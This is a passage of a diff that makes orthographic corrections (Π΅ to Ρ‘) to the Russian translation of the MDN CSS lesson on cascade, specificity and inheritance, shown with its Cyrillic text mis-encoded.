+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ h1. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ </span><span title="">h1 окрасится синим Ρ†Π²Π΅Ρ‚ΠΎΠΌ </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> эти ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Ρ‹ΠΉ сСлСктор ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, поэтому ΠΏΠΎΠ±Π΅ΠΆΠ΄Π°Π΅Ρ‚ послСдний Π² порядкС слСдования.</span></span></p>
<p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}}Β </p>
@@ -127,7 +127,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<ol>
<li>Π’Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт списка ΠΈΠΌΠ΅Π΅Ρ‚ класс <code>my-class-1</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ†Π²Π΅Ρ‚ для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ элСмСнта <code>a</code> устанавливаСтся ΠΏΠΎ наслСдству. Как измСнится Ρ†Π²Π΅Ρ‚, Ссли это ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ?</li>
- <li>ΠŸΠΎΠ½ΡΡ‚Π½ΠΎ Π»ΠΈ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ ΠΈ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ элСмСнты <code>a</code> ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊΠΎΠΉ Ρ†Π²Π΅Ρ‚? Если Π½Π΅Ρ‚, ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ описаниС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, прСдставлСнноС Π²Ρ‹ΡˆΠ΅.</li>
+ <li>ΠŸΠΎΠ½ΡΡ‚Π½ΠΎ Π»ΠΈ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ ΠΈ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ элСмСнты <code>a</code> ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊΠΎΠΉ Ρ†Π²Π΅Ρ‚? Если Π½Π΅Ρ‚, ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ описаниС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, прСдставлСнноС Π²Ρ‹ΡˆΠ΅.</li>
<li>Какая ΠΈΠ· ссылок ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ Ρ†Π²Π΅Ρ‚, Ссли Π²Ρ‹ Π·Π°Π΄Π°Π΄ΠΈΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ для элСмСнта <code>&lt;a&gt;</code>Β β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β <code>a { color: red; }</code>?</li>
</ol>
@@ -135,7 +135,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‚_всСх_исходных_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ_свойств">Π’ΠΎΠ·Π²Ρ€Π°Ρ‚ всСх исходных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойств</h3>
-<p>БтСнографичСскоС свойство CSS <code>all</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ наслСдования ΠΊ (ΠΏΠΎΡ‡Ρ‚ΠΈ) всСм свойствам ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π­Ρ‚ΠΎ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (<code>inherit</code>, <code>initial</code>, <code>unset</code>, ΠΈΠ»ΠΈ <code>revert</code>). Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ способ для ΠΎΡ‚ΠΌΠ΅Π½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, внСсённых Π² стили, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ стартовой Ρ‚ΠΎΡ‡ΠΊΠ΅ ΠΏΠ΅Ρ€Π΅Π΄ внСсСниСм Π½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.</p>
+<p>БтСнографичСскоС свойство CSS <code>all</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ наслСдования ΠΊ (ΠΏΠΎΡ‡Ρ‚ΠΈ) всСм свойствам ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π­Ρ‚ΠΎ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (<code>inherit</code>, <code>initial</code>, <code>unset</code>, ΠΈΠ»ΠΈ <code>revert</code>). Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ способ для ΠΎΡ‚ΠΌΠ΅Π½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, внСсённых Π² стили, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ стартовой Ρ‚ΠΎΡ‡ΠΊΠ΅ ΠΏΠ΅Ρ€Π΅Π΄ внСсСниСм Π½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.</p>
<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ Π΄Π²Π° Π±Π»ΠΎΠΊΠ° <code>&lt;blockquote&gt;</code>. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ самому элСмСнту <code>blockquote</code>, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ класс <code>fix-this</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ устанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>all</code> Π²Β <code>unset</code>.</p>
@@ -159,23 +159,23 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<h3 id="ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ_слСдования">ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ слСдования</h3>
-<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для каскада ΠΈΠΌΠ΅Π΅Ρ‚ порядок слСдования. Если Ρƒ вас нСсколько ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ, Ρ‚ΠΎ ΠΏΠΎΠ±Π΅ΠΆΠ΄Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ΄Π΅Ρ‚ послСдним Π² CSS. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π±ΠΎΠ»Π΅Π΅ Π±Π»ΠΈΠ·ΠΊΠΈΠ΅ ΠΊ самому элСмСнту, ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅, ΠΏΠΎΠΊΠ° послСднСС Π½Π΅ ΠΏΠΎΠ±Π΅Π΄ΠΈΡ‚, ΠΎΠ½ΠΎ ΠΈ стилизуСт элСмСнт.Β </p>
+<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для каскада ΠΈΠΌΠ΅Π΅Ρ‚ порядок слСдования. Если Ρƒ вас нСсколько ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ, Ρ‚ΠΎ ΠΏΠΎΠ±Π΅ΠΆΠ΄Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ΄Ρ‘Ρ‚ послСдним Π² CSS. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π±ΠΎΠ»Π΅Π΅ Π±Π»ΠΈΠ·ΠΊΠΈΠ΅ ΠΊ самому элСмСнту, ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅, ΠΏΠΎΠΊΠ° послСднСС Π½Π΅ ΠΏΠΎΠ±Π΅Π΄ΠΈΡ‚, ΠΎΠ½ΠΎ ΠΈ стилизуСт элСмСнт.Β </p>
<h3 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ_2">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ</h3>
<p><span class="tlid-translation translation" lang="ru"><span title="">Понимая, Ρ‡Ρ‚ΠΎ порядок слСдования ΠΏΡ€Π°Π²ΠΈΠ» ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ‹ ΠΎΠΊΠ°ΠΆΠ΅Ρ‚Π΅ΡΡŒ Π² ситуации, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ появляСтся ΠΏΠΎΠ·ΠΆΠ΅ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй, Π½ΠΎ примСняСтся Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅Π΅, ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ.</span> <span title="">Π­Ρ‚ΠΎ связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ <strong>Π²Ρ‹ΡΠΎΠΊΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ</strong> </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> ΠΎΠ½ΠΎ Π±ΠΎΠ»Π΅Π΅ спСцифично ΠΈ поэтому выбираСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Как ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅ Π² этом ΡƒΡ€ΠΎΠΊΠ΅, сСлСктор класса ΠΈΠΌΠ΅Π΅Ρ‚ больший вСс, Ρ‡Π΅ΠΌ сСлСктор элСмСнта, поэтому свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² классС, Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ свойства, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ нСпосрСдствСнно ΠΊ элСмСнту.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Как ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅ Π² этом ΡƒΡ€ΠΎΠΊΠ΅, сСлСктор класса ΠΈΠΌΠ΅Π΅Ρ‚ больший вСс, Ρ‡Π΅ΠΌ сСлСктор элСмСнта, поэтому свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² классС, Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ свойства, ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ нСпосрСдствСнно ΠΊ элСмСнту.</span></span></p>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π—Π΄Π΅ΡΡŒ слСдуСт ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ, хотя ΠΌΡ‹ Π΄ΡƒΠΌΠ°Π΅ΠΌ ΠΎ сСлСкторах ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ…, примСняСмых ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚, пСрСписываСтся Π½Π΅ всё ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ повторСния Π² вашСм CSS.</span> <span title="">ΠžΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ‰ΠΈΡ… стилСй для Π±Π°Π·ΠΎΠ²Ρ‹Ρ… элСмСнтов, Π° Π·Π°Ρ‚Π΅ΠΌ созданиС классов для Ρ‚Π΅Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ.</span> <span title="">НапримСр, Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй Π½ΠΈΠΆΠ΅ ΠΌΡ‹ опрСдСляСм ΠΎΠ±Ρ‰ΠΈΠ΅ стили для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ уровня, Π° Π·Π°Ρ‚Π΅ΠΌ создаём нСсколько классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ свойства ΠΈ значСния.</span> <span title="">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½Π°Ρ‡Π°Π»Π΅ значСния ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊΠΎ всСм Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ, Π·Π°Ρ‚Π΅ΠΌ ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ с классами ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ значСния.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ повторСния Π² вашСм CSS.</span> <span title="">ΠžΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ‰ΠΈΡ… стилСй для Π±Π°Π·ΠΎΠ²Ρ‹Ρ… элСмСнтов, Π° Π·Π°Ρ‚Π΅ΠΌ созданиС классов для Ρ‚Π΅Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ.</span> <span title="">НапримСр, Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй Π½ΠΈΠΆΠ΅ ΠΌΡ‹ опрСдСляСм ΠΎΠ±Ρ‰ΠΈΠ΅ стили для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ уровня, Π° Π·Π°Ρ‚Π΅ΠΌ создаём нСсколько классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ свойства ΠΈ значСния.</span> <span title="">ΠžΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π½Π°Ρ‡Π°Π»Π΅ значСния ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊΠΎ всСм Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ, Π·Π°Ρ‚Π΅ΠΌ ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ с классами ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ значСния.</span></span></p>
<p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}}Β </p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ посмотрим, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ.</span> <span title="">ΠœΡ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ сСлСктор элСмСнта ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠ·ΠΊΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСзаписан классом.</span> <span title="">По сущСству, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π±Π°Π»Π»Π°Ρ… присуТдаСтся Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ‚ΠΈΠΏΠ°ΠΌ сСлСкторов, ΠΈ ΠΈΡ… слоТСниС Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ вСс этого ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ сСлСктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ†Π΅Π½Ρ‘Π½ Π² сравнСнии с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ сопСрниками.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ посмотрим, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ.</span> <span title="">ΠœΡ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ сСлСктор элСмСнта ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠ·ΠΊΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСзаписан классом.</span> <span title="">По сущСству, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π±Π°Π»Π»Π°Ρ… присуТдаСтся Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ‚ΠΈΠΏΠ°ΠΌ сСлСкторов, ΠΈ ΠΈΡ… слоТСниС Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ вСс этого ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ сСлСктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ†Π΅Π½Ρ‘Π½ Π² сравнСнии с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ сопСрниками.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Ρ‚Π΅ΠΏΠ΅Π½ΡŒ спСцифичности, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ сСлСктор, измСряСтся с использованиСм Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ тысячи, сотни, дСсятки ΠΈ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½Ρ‹Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹ Π² Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… столбцах:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Ρ‚Π΅ΠΏΠ΅Π½ΡŒ спСцифичности, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ сСлСктор, измСряСтся с использованиСм Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ тысячи, сотни, дСсятки ΠΈ 